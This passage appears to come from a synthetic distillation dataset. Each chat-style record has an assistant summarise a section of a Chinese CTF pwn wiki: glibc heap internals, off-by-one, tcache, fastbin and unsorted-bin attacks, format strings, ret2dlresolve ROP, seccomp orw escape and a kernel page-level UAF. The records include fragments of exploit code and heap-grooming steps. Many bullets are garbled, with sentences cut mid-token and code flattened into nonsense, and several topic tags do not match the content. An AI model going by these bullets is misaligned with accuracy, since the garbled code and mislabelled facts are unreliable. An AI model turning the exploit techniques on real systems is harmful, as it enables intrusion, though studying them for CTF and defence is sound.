- 本节主题围绕“FlatView：MR 树对应的 Guest 视角物理地址空间”展开。
- struct AddressSpaceDispatch dispatch;
- 例如，KVM需要明确的物理内存布局来配置EPT（Extended Page Table），FlatView 提供可直接映射的平坦内存描述，避免内核解析复杂树结构。
- QEMU通过树状结构的MemoryRegion管理Guest的物理地址空间，支持动态调整（如热插拔设备）。
- 因此QEMU使用 FlatView 用来表示一棵 MemoryRegion 树所表示的线性的 Guest 地址空间，其将树状结构“展平”为列表，每个条目记录连续内存区域的起始地址（GPA）、大小、属性（如RAM/MMIO），消除嵌套关系，简化内核处理。
- FlatView使用一个 FlatRange 结构体指针数组来存储不同 MemoryRegion 对应的地址信息，每个 FlatRange 表示单个 MemoryRegion 的 Guest 视角的一块线性的物理地址空间以及是否只读等特性信息， FlatRange 之间所表示的地址范围不会重叠。

关键术语：
- 修复/缓解
- pwn
- virtualization
- qemu
- basic-knowledge
- code:c

代码/命令片段线索：
- c: 23 行，首行 `/* Range of memory in the global map. Addresses are absolute. */`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

FlatView：MR 树对应的 Guest 视角物理地址空间

QEMU 内存管理
Guest VM 视角（GPA）
FlatView：MR 树对应的 Guest 视角物理地址空间

修复/缓解 pwn virtualization qemu basic-knowledge code:c

QEMU 内存管理


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > hijack retaddr > 例子 > 分析程序
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析程序”展开。
- 简单分析一下，就知道程序似乎主要实现了一个类似账户注册之类的功能，主要有修改查看功能，然后发现在查看功能中发现了格式化字符串漏洞 ``C int __usercall sub_400B07@<eax>(char format@<dil>, char formata, __int64 a3, char a4) { write(0, "Welc0me to sangebaimao!
- printf(&formata, "Welc0me to sangebaimao!
- 此外，也可以发现这个账号密码其实没啥配对不配对的。
- ` 当然我们还可以发现 username 和 password 之间的距离为 20 个字节。
- 我们回溯一下，发现我们读入的 password 内容也是 `C v6 = read(0, (char )&a4 + 4, 0x14uLL);

关键术语：
- 密码学
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:c

代码/命令片段线索：
- C: 6 行，首行 `int __usercall sub_400B07@<eax>(char format@<dil>, char formata, __int64 a3, char a4)`
- C: 1 行，首行 `v6 = read(0, (char *)&a4 + 4, 0x14uLL);`
- C: 12 行，首行 `puts("Input your username(max lenth:20): ");`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析程序

密码学 AI安全 漏洞利用 pwn linux user-mode fmtstr code:c

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「处理不连续内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define DEFAULT_TOP_PAD 131072 > 内存可能申请成功 > 处理其他意外情况 > 处理不连续内存
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“处理不连续内存”展开。
- } } / Find out current end of memory / if (snd_brk == (char )(MORECORE_FAILURE)) { snd_brk = (char *)(MORECORE(0));
- ``c / handle non-contiguous cases / else { if (MALLOC_ALIGNMENT == 2 SIZE_SZ) / MORECORE/mmap must correctly align / assert(((unsigned long)chunk2mem(brk) & MALLOC_ALIGN_MASK) == 0);
- else { front_misalign = (INTERNAL_SIZE_T)chunk2mem(brk) & MALLOC_ALIGN_MASK;
- if (front_misalign > 0) { / Skip over some bytes to arrive at an aligned position.
- They will never be accessed anyway because prev_inuse of av->top (and any chunk created from its start) is always true after initialization. / aligned_brk += MALLOC_ALIGNMENT - front_misalign;

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 24 行，首行 `/* handle non-contiguous cases */`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

处理不连续内存

define DEFAULT_TOP_PAD 131072
内存可能申请成功
处理其他意外情况
处理不连续内存

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「在 libc-2.29 之后」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：堆中的 Off-By-One > off-by-one 利用思路 > 在 libc-2.29 之后
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“在 libc-2.29 之后”展开。
- 然后通过 off-by-one 向低地址合并就可以实现 chunk overlapping 了，之后可以 leak libc_base 和 堆地址，tcache 打 __free_hook 即可。
- ` 然后只需要通过 unlink 的检测就可以了，也就是 fd->bk == p && bk->fd == p 如果 large bin 中仅有一个 chunk，那么该 chunk 的两个 nextsize 指针都会指向自己，如下 [图片文件: ./figure/largebin-struct.png] 我们可以控制 fd_nextsize 指向堆上的任意地址，可以容易地使之指向一个 fastbin + 0x10 - 0x18，而 fastbin 中的 fd 也会指向堆上的一个地址，通过部分覆写该指针也可以使...
- 通过在后面使用其他的 chunk 辅助伪造，可以通过该检测 ` if (__glibc_unlikely (chunksize(p) !
- 通过 fastbin 的链表特性可以做到修改这个指针且不影响其他的数据，再部分覆写之就可以通过 bk->fd==p` 的检测了。
- 但是，只需要满足被 unlink 的 chunk 和下一个 chunk 相连，所以仍然可以伪造 fake_chunk。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:cpp

代码/命令片段线索：
- cpp: 2 行，首行 `if (__glibc_unlikely (chunksize(p) != prevsize))`
- plain: 2 行，首行 `if (__glibc_unlikely (chunksize(p) != prevsize))`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

在 libc-2.29 之后

堆中的 Off-By-One
off-by-one 利用思路
在 libc-2.29 之后

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「寻找较大 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > 寻找较大 chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“寻找较大 chunk”展开。
- // 获取当前索引在binmap中的block索引 // #define idx2block(i) ((i) >> BINMAPSHIFT) ,BINMAPSHIFT=5 // Binmap按block管理，每个block为一个int，共32个bit，可以表示32个bin中是否有空闲chunk存在 // 所以这里是右移5 block = idx2block(idx);
- 如果走到了这里，那说明对于用户所需的chunk，不能直接从其对应的合适的bin中获取chunk，所以我们需要来查找比当前 bin 更大的 fast bin ， small bin 或者 large bin。
- // 获取当前块大小对应的映射，这里可以得知相应的bin中是否有空闲块 map = av->binmap[ block ];
- ``c++ / Search for a chunk by scanning bins, starting with next largest bin.
- i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected.

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 23 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

寻找较大 chunk

申请内存块
_int_malloc
大循环-遍历 unsorted bin
寻找较大 chunk

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「非 main_arena」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define GLRO(name) _##name > 非 main_arena
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“非 main_arena”展开。
- = &main_arena) { heap_info old_heap, heap;
- / First try to extend the current heap. / old_heap = heap_for_ptr(old_top);
- if ((long)(MINSIZE + nb - old_size) > 0 && grow_heap(old_heap, MINSIZE + nb - old_size) == 0) { av->system_mem += old_heap->size - old_heap_size;
- set_head(old_top, (((char )old_heap + old_heap->size) - (char )old_top) | PREV_INUSE);
- } else if ((heap = new_heap(nb + (MINSIZE + sizeof(heap)), mp_.top_pad))) { / Use a newly allocated heap. / heap->ar_ptr = av;

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 42 行，首行 `if (av != &main_arena) {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

非 main_arena

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「漏洞利用分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：vim:fenc=utf-8 > 实例 3 : Balsn_CTF_2019-PlainText > 漏洞利用分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“漏洞利用分析”展开。
- 接下来进行利用 为了调试方便，建议先关闭 aslr。
- [图片文件: ./figure/add-function.png] 而 free 中对被 free 的指针进行了置空，导致无法直接 show，而程序对我们的输入末尾附加 \x00，也无法使用释放再申请的方法，leak 比较困难。
- 一开始的时候 bin 中非常的杂乱，先把这些乱七八糟的东西申请出来 ```python for i in range(16): add(0x10,'fill') for i in range(16): add(0x60,'fill') for i in range(9): add(0x70,'fill') for i in range(5): add(0xC0,'fill') for i in range(2): add(0xE0,'fill') add(0x170,'fill') add(0x190,'fi...
- 程序的流程比较清晰简单，在 add 函数中，存在明显的 off-by-null。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用分析

vim:fenc=utf-8
实例 3 : Balsn_CTF_2019-PlainText
漏洞利用分析

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本示例4：通过extend后向overlapping」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`
标题：Chunk Extend and Overlapping
章节：Chunk Extend and Overlapping > 基本示例4：通过extend后向overlapping
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本示例4：通过extend后向overlapping”展开。
- } `` 在malloc(0x50)对extend区域重新占位后，其中0x10的fastbin块依然可以正常的分配和释放，此时已经构成overlapping，通过对overlapping的进行操作可以实现fastbin attack。
- 这里展示通过extend进行后向overlapping，这也是在CTF中最常出现的情况，通过overlapping可以实现其它的一些利用。
- `` int main() { void ptr,ptr1;
- //分配第4个 0x10 的chunk4 (int )((int)ptr-0x8)=0x61;
- //分配第1个 0x80 的chunk1 malloc(0x10);

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 11 行，首行 `int main()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本示例4：通过extend后向overlapping

Chunk Extend and Overlapping


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation
路径分类：pwn / pwn/linux/kernel-mode
分块：1/8

核心知识点：
- 本节主题围绕“Final Exploitation”展开。
- } /* @brief create an isolate namespace note that the caller SHOULD NOT be used to get the root, but an operator to perform basic exploiting operations in it only */ void unshare_setup(void) { char edit[0x100];
- if(getuid()) { log_error("[x] Failed to get the root!
- size_t direct_map_addr_to_page_addr(size_t direct_map_addr) { size_t page_count;
- page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
- } void err_exit(char msg) { printf(ERROR_MSG("[x] Error at: ") "%s\n", msg);

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Final Exploitation

Page-level UAF
例题：D^3CTF2023 - d3kcache
漏洞利用
Final Exploitation

UAF 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「fastbin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`
标题：堆中的检查
章节：堆中的检查 > 初始检查 > fastbin
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- | 检查目标 | 检查条件 | 报错信息 | | -------- | :-------------------------------------: | :--------------------------------: | | chunk 大小 | fastbin_index(chunksize(victim)) !
- = idx | malloc(): memory corruption (fast) |

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

fastbin

堆中的检查 初始检查 fastbin

堆中的检查


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「“一切皆对象”」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > “一切皆对象”
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕““一切皆对象””展开。
- NT kernel 中的对象可以分为两类： - 执行体对象（Executive Objects）：执行体对外暴露的资源对象（如进程、线程、文件等），对用户态可见。
- 类似于 *NIX 系统中一切皆文件的哲学，在 Windows NT kernel 当中同样有一切都是一个对象（object）的说法，文件、设备、同步机制、注册表项等在内核中都表示为对象，每个对象有一个 header 存储对象基本信息（如名字、类型、位置），以及一个 body 存储数据。
- 内核对象（Kernel Objects）：最基本的资源对象（如物理设备等），对用户态不可见。

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

“一切皆对象”

基础知识 “一切皆对象”

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md`
标题：内部隔离
章节：内部隔离 > 堆块隔离 > 参考
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“参考”展开。
- - https://lore.kernel.org/patchwork/patch/616610/ - https://github.com/torvalds/linux/commit/5d097056c9a017a3b720849efb5432f37acabbac#diff-3cb5667a88a24e8d5abc7042f5c4193698d6b962157f637f9729e61198eec63a - https://github.com/torvalds/linux/commit/230e9fc286...

关键术语：
- 堆
- 修复/缓解
- pwn
- linux
- kernel-mode
- defense

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考

内部隔离 堆块隔离 参考

内部隔离


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache stashing unlink attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache stashing unlink attack
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“tcache stashing unlink attack”展开。
- ke_chunk ，在 calloc(0x90) 的时候触发攻击。
- 我们在 calloc 处下断点，调用前查看堆块排布情况。
- 可以看到 chunk1->bk 已经被改为了 fake_chunk_addr 。
- 由于 smallbin 是按照 bk 指针寻块的，分配得到的顺序应当是 0x0000000000603250->0x0000000000603390->0x00007fffffffdbc0 (FIFO) 。
- 调用 calloc 会返回给用户 0x0000000000603250+0x10。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:bash

代码/命令片段线索：
- bash: 28 行，首行 `gdb-peda$ heapinfo`
- bash: 19 行，首行 `gdb-peda$ heapinfo`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache stashing unlink attack

define TCACHE_FILL_COUNT 7
0x03 Pwn Tcache
tcache stashing unlink attack

堆 AI安全 漏洞利用 pwn linux user-mode heap code:bash


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 5」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct rop chain > stage 5
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“stage 5”展开。
- ```python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!
- 这一阶段，我们将在阶段 4 的基础上，进一步伪造 write 符号的 st_name 指向我们自己构造的字符串。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

stage 5

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/sandbox/seccomp/c-sandbox-escape.md` 中的章节「orw」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/sandbox/seccomp/c-sandbox-escape.md`
标题：C 沙盒逃逸
章节：C 沙盒逃逸 > orw
路径分类：pwn / pwn/sandbox/seccomp
分块：1/1

核心知识点：
- 一般来说，开启了白名单的堆利用类题，我们会在劫持了某钩子函数如 __free_hook 或 got 表之后考虑实现 orw，这个时候我们只可以注入一个 gadget，一般来说我们希望这个 gadget 能够实现栈迁移，一种比较通用的做法是利用 setcontext 函数，其在 libc-2.29 中实现为 `` .text:0000000000055E00 ;
- } // starts at 55E00 `` 当然其他版本也大同小异，可见在这个函数中有对 rsp 的赋值，如果我们可以控制 rdx，就可以控制 rsp 实现栈迁移了。
- 有些时候 pwn 题目中为了增加难度，会使用类似 seccomp 的函数来禁用一部分系统调用，往往会把 execve 这种系统调用禁用掉，基本上拿 shell 是不可能了，但是我们 pwn 题是面向 flag 的，所以还是可以通过 orw（ open-read-write ）的方法来读出 flag 的。
- 在栈上的 orw 和 普通 rop 其实没有什么特别大的区别，这里主要谈一谈堆利用中的白名单绕过。
- __unwind { .text:0000000000055E00 push rdi .text:0000000000055E01 lea rsi, [rdi+128h] ;
- nset .text:0000000000055E08 xor edx, edx ;

关键术语：
- 堆
- 栈
- ROP/JOP
- 密码学
- 漏洞利用
- pwn
- sandbox
- seccomp
- c-sandbox-escape.md

代码/命令片段线索：
- plain: 30 行，首行 `.text:0000000000055E00 ; __unwind {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

orw

堆 栈 ROP/JOP 密码学 漏洞利用 pwn sandbox seccomp c-sandbox-escape.md

C 沙盒逃逸


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md` 中的章节「slub 合并 & 隔离」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md`
标题：简介
章节：简介 > slub 合并 & 隔离
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“slub 合并 & 隔离”展开。
- slab alias 机制是一种对同等/相近大小 object 的 kmem_cache 进行复用的一种机制： - 当一个 kmem_cache 在创建时，若已经存在能分配相等/近似大小的 object 的 kmem_cache ，则不会创建新的 kmem\_cache，而是为原有的 kmem\_cache 起一个 alias，作为“新的” kmem\_cache 返回。
- 举个例子，cred_jar 是专门用以分配 cred 结构体的 kmem_cache，在 Linux 4.4 之前的版本中，其为 kmalloc-192 的 alias，即 cred 结构体与其他的 192 大小的 object 都会从同一个 kmem_cache——kmalloc-192 中分配。
- 对于初始化时设置了 SLAB_ACCOUNT 这一 flag 的 kmem_cache 而言，则会新建一个新的 kmem_cache 而非为原有的建立 alias，例如在新版的内核当中 cred_jar 与 kmalloc-192 便是两个独立的 kmem_cache，彼此之间互不干扰。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

slub 合并 & 隔离

简介
slub 合并 & 隔离

堆 漏洞利用 pwn linux kernel-mode exploitation

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「利用流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 利用流程
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“利用流程”展开。
- Unsorted Bin Attack 利用 unsorted bin attack ，修改 global_max_fast 全局变量，由于 global_max_fast 变量为控制最大的Fast chunk的大小，将这里改写为unsorted bin的地址(一般来说是一个很大的正数)，就能使之后的chunk都被当作fast chunk，即可进行Fast bin attack。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用流程

in order not to merge into top chunk
2016 0CTF zerostorage-待完成
利用流程

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2017 0ctf babyheap > 基本功能
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本功能”展开。
- 00000018 chunk ends ` 需要注意的是堆块是由 calloc 分配的，所以 chunk 中的内容全都为\x00。
- 此外，我们可以看出每个 chunk 主要有三个字段：是否在使用，堆块大小，堆块位置。
- 程序是一个堆分配器，主要由以下四种功能 ``c puts("1.
- 而且比较有意思的是，这个指定长度是我们指定的，并不是之前 chunk 分配时指定的长度，所以这里就出现了任意堆溢出的情形。
- 通过分配函数 `c void __fastcall allocate(__int64 a1) { signed int i;

关键术语：
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 6 行，首行 `puts("1. Allocate");`
- c: 27 行，首行 `void __fastcall allocate(__int64 a1)`
- plain: 5 行，首行 `00000000 chunk struc ; (sizeof=0x18, mappedto_6)`
- c: 25 行，首行 `__int64 __fastcall fill(chunk *a1)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本功能

边界/溢出 堆 漏洞利用 pwn linux user-mode heap code:c

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「_MMPFN：物理页框」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > 内存管理 > 一、物理内存管理 > _MMPFN：物理页框
